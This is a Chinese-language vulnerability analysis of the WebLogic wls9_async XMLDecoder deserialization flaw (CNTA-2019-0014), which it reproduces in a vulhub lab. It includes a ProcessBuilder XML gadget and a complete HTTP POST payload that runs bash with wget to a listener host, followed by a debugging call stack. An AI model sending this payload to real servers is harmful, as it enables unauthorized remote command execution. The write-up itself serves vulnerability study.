CNTA-2019-0014——WebLogic反序列化XML注入

一、原理

（一）概述

2019年4月17日，国家信息安全漏洞共享平台（CNVD）收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞（CNVD-2019-11873）。攻击者利用该漏洞，可在未授权的情况下远程执行命令。

（二）CNTA-2019-0014

部分版本WebLogic中默认包含的wls9_async_response包，为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP 请求，获得目标服务器的权限，在未授权的情况下远程执行命令。
该漏洞的影响版本有WebLogic 10.X和WebLogic 12.1.3。

（三）原理

1.原理

WorkContextXmlInputAdapter中对输入的XML未进行有效检查，可导致任意命令执行。
先简单看下Java中xml的结构，来个简单的demo，

import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;

public class DemoOut {
    public static void main(String[] args) throws FileNotFoundException {
        HashMap<Object, Object> map = new HashMap<>();
        map.put("arr", new String[3]);
        XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("demo.xml")));
        e.writeObject(map);
        e.close();
    }
}

得到的demo.xml如下，

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
 <object class="java.util.HashMap">
  <void method="put">
   <string>arr</string>
   <array class="java.lang.String" length="3"/>
  </void>
 </object>
</java>

这其中，object标签表示对象；void标签表示函数调用、赋值等操作，里面的method 属性指定方法名称； array标签表示数组，里面的class属性指定具体类。
我们再来读取一下这个xml文件，

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class DemoIn {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("demo.xml")));
        Object demo = d.readObject();
        d.close();
    }
}

跟进在调试这段代码的过程中，可以看到以下两个比较有价值的过程点，
一是此处生成一个表达式对象var5，其中会调用HashMap的put将arr给put进去，

最终反序列化恢复成为一个我们最开始构建的对象，

我们可以想象，此处的void标签可以表示HashMap对象的put()函数的调用，也应该可以标识其它类的其它函数的调用。

比如，如果我们将demo.xml中的对象由HashMap改为可以执行命令的函数，再赋予适当的参数，就有可能执行恶意功能。
有如下这般xml一个，

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
   <void index="0">
    <string>calc</string>
   </void>
  </array>
  <void method="start"/>
 </object>
</java>

再执行刚才的java，

可以看到calc已经被执行。
我们在刚才的Expression处下断，

当执行完create()之后，即会弹出计算器。

也就是说，只要能够传入合适的XML，且顺利被目标的readObject调用，就有可能成功实现RCE。

二、调试

（一）环境搭建

选用vulhub-master/weblogic/CVE-2017-10271

docker-compose up -d

将其中的Oracle文件夹拷出，
根据提示，只将/wlserver_10.3/server/lib导入idea即可，用到的主要是wlserver_10.3\server\lib\wseeclient.jar!\weblogic\wsee\server\servlet\BaseWSServlet.class

（二）复现

Afant1大佬的payload如下，

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.43.64:7001
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 768

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget 192.168.43.134:9898</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

开启http服务查看效果，

发送，

http.server收到请求，复现成功。

（三）调试

调用栈

readObject:203, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea)

handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
...

下面分两段看一下流程。